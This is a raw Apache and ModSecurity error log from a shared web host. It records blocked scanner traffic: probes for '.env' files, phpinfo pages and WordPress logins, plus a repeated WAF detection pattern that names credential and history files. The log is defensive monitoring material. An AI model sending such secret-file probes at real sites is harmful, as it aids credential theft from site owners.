https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9tb3VzZTEvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:17:40.766856 2026] [access_compat:error] [pid 648189:tid 648224] [remote 57.141.14.41:60477] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:40.767127 2026] [access_compat:error] [pid 648189:tid 648224] [remote 57.141.14.41:60477] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:40.788798 2026] [security2:error] [pid 648189:tid 648358] [client 129.227.238.167:65383] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 167.238.227.129.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "sminzenering.mk"] [uri "/wp-login.php"] [unique_id "ai3zJFWSojQL4F7upKBnlAAAAIo"] [Sat Jun 13 18:17:40.809933 2026] [access_compat:error] [pid 648189:tid 648267] [remote 57.141.14.54:52409] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:40.810203 2026] [access_compat:error] [pid 648189:tid 648267] [remote 57.141.14.54:52409] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:40.839843 2026] [security2:error] [pid 648189:tid 648479] [client 34.23.213.224:51448] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zJFWSojQL4F7upKBnmQAAAP0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:40.843122 2026] [security2:error] [pid 648189:tid 648461] [client 185.177.72.9:41878] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/linusadmin-phpinfo.php"] [unique_id "ai3zJFWSojQL4F7upKBnmgAAAOs"] [Sat Jun 13 18:17:40.907933 2026] [access_compat:error] [pid 648189:tid 648333] [remote 57.141.14.100:37825] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:40.908359 2026] [access_compat:error] [pid 648189:tid 648333] [remote 57.141.14.100:37825] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:40.976102 2026] [security2:error] [pid 646876:tid 646992] [remote 17.241.219.235:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 235.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zJNyTkdrNlD40tSGwGAAAMnE"] [Sat Jun 13 18:17:41.003212 2026] [security2:error] [pid 648189:tid 648359] [client 34.23.213.224:51464] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zJVWSojQL4F7upKBnoAAAAIs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:41.038235 2026] [access_compat:error] [pid 648189:tid 648323] [remote 57.141.14.34:50512] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:41.038711 2026] [access_compat:error] [pid 648189:tid 648323] [remote 57.141.14.34:50512] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:41.120067 2026] [security2:error] [pid 646876:tid 647046] [client 185.177.72.9:41894] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/linux/.env"] [unique_id "ai3zJdyTkdrNlD40tSGwGwAAACY"] [Sat Jun 13 18:17:41.120459 2026] [security2:error] [pid 646876:tid 647067] [client 77.68.83.86:63217] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.83.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "56grwp.org"] [uri "/images/images/images/images/images/images/images/cache.php"] [unique_id "ai3zJdyTkdrNlD40tSGwHAAAADs"], referer: www.google.com [Sat Jun 13 18:17:41.163646 2026] [security2:error] [pid 646876:tid 646887] [remote 17.22.245.106:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 106.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zJdyTkdrNlD40tSGwHgAAUwg"] [Sat Jun 13 18:17:41.163852 2026] [security2:error] [pid 648189:tid 648443] [client 34.23.213.224:51478] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zJVWSojQL4F7upKBnqAAAAN0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:41.319249 2026] [access_compat:error] [pid 646876:tid 646984] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:17:41.319531 2026] [access_compat:error] [pid 646876:tid 646984] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:17:41.324621 2026] [security2:error] [pid 646876:tid 647083] [client 34.23.213.224:51482] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zJdyTkdrNlD40tSGwJAAAAEs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:41.403236 2026] [security2:error] [pid 646876:tid 647105] [client 185.177.72.9:41894] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/localhost/.env"] [unique_id "ai3zJdyTkdrNlD40tSGwJwAAAGE"] [Sat Jun 13 18:17:41.485920 2026] [security2:error] [pid 646876:tid 647066] [client 34.23.213.224:51484] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zJdyTkdrNlD40tSGwKgAAADo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:41.540129 2026] [security2:error] [pid 646876:tid 647054] [client 185.177.72.9:41894] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/locally/.env"] [unique_id "ai3zJdyTkdrNlD40tSGwLQAAAC4"] [Sat Jun 13 18:17:41.604540 2026] [access_compat:error] [pid 648189:tid 648342] [remote 57.141.14.17:22782] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:41.604850 2026] [access_compat:error] [pid 648189:tid 648342] [remote 57.141.14.17:22782] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:41.612211 2026] [security2:error] [pid 648189:tid 648486] [client 77.68.83.86:57258] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.83.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "56grwp.org"] [uri "/images/images/images/images/images/images/cache.php"] [unique_id "ai3zJVWSojQL4F7upKBntgAAAQQ"], referer: www.google.com [Sat Jun 13 18:17:41.648021 2026] [security2:error] [pid 648189:tid 648412] [client 34.23.213.224:51500] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zJVWSojQL4F7upKBnuAAAAL8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:41.696562 2026] [access_compat:error] [pid 648189:tid 648239] [remote 57.141.14.56:36412] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:41.696877 2026] [access_compat:error] [pid 648189:tid 648239] [remote 57.141.14.56:36412] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:41.792677 2026] [access_compat:error] [pid 646876:tid 646985] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2UvaW5wdXQvaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDUvcG93ZXI= [Sat Jun 13 18:17:41.792962 2026] [access_compat:error] [pid 646876:tid 646985] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2UvaW5wdXQvaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDUvcG93ZXI= [Sat Jun 13 18:17:41.808835 2026] [security2:error] [pid 648189:tid 648360] [client 34.23.213.224:51516] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zJVWSojQL4F7upKBnvgAAAIw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:41.822307 2026] [security2:error] [pid 646876:tid 647092] [client 185.177.72.9:41894] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/log/.env"] [unique_id "ai3zJdyTkdrNlD40tSGwNQAAAFQ"] [Sat Jun 13 18:17:41.858916 2026] [access_compat:error] [pid 648189:tid 648315] [remote 57.141.14.92:57832] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:41.859194 2026] [access_compat:error] [pid 648189:tid 648315] [remote 57.141.14.92:57832] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:41.882635 2026] [access_compat:error] [pid 648189:tid 648290] [remote 57.141.14.61:21742] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:41.883087 2026] [access_compat:error] [pid 648189:tid 648290] [remote 57.141.14.61:21742] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:41.974801 2026] [security2:error] [pid 648189:tid 648439] [client 34.23.213.224:51530] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zJVWSojQL4F7upKBnxgAAANo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:42.112991 2026] [security2:error] [pid 646876:tid 647063] [client 185.177.72.9:41894] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/logging/.env"] [unique_id "ai3zJtyTkdrNlD40tSGwOgAAADc"] [Sat Jun 13 18:17:42.223383 2026] [security2:error] [pid 648189:tid 648286] [remote 17.22.237.42:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 42.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zJlWSojQL4F7upKBn0QAA6EA"] [Sat Jun 13 18:17:42.254255 2026] [security2:error] [pid 648189:tid 648357] [client 77.68.83.86:53247] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.83.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "56grwp.org"] [uri "/images/images/images/images/images/cache.php"] [unique_id "ai3zJlWSojQL4F7upKBn0gAAAIk"], referer: www.google.com [Sat Jun 13 18:17:42.337404 2026] [access_compat:error] [pid 646876:tid 646884] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:17:42.337854 2026] [access_compat:error] [pid 646876:tid 646884] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:17:42.385348 2026] [security2:error] [pid 648189:tid 648297] [remote 17.246.19.223:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zJlWSojQL4F7upKBn2QAAr0s"] [Sat Jun 13 18:17:42.400157 2026] [security2:error] [pid 646876:tid 647088] [client 185.177.72.9:41894] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/login/.env"] [unique_id "ai3zJtyTkdrNlD40tSGwRAAAAFA"] [Sat Jun 13 18:17:42.688372 2026] [security2:error] [pid 646876:tid 647060] [client 185.177.72.9:41894] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/logs/.env"] [unique_id "ai3zJtyTkdrNlD40tSGwUAAAADQ"] [Sat Jun 13 18:17:42.697866 2026] [access_compat:error] [pid 648189:tid 648300] [remote 57.141.14.84:40884] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:42.698144 2026] [access_compat:error] [pid 648189:tid 648300] [remote 57.141.14.84:40884] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:42.822392 2026] [access_compat:error] [pid 646876:tid 646966] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:17:42.822812 2026] [access_compat:error] [pid 646876:tid 646966] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 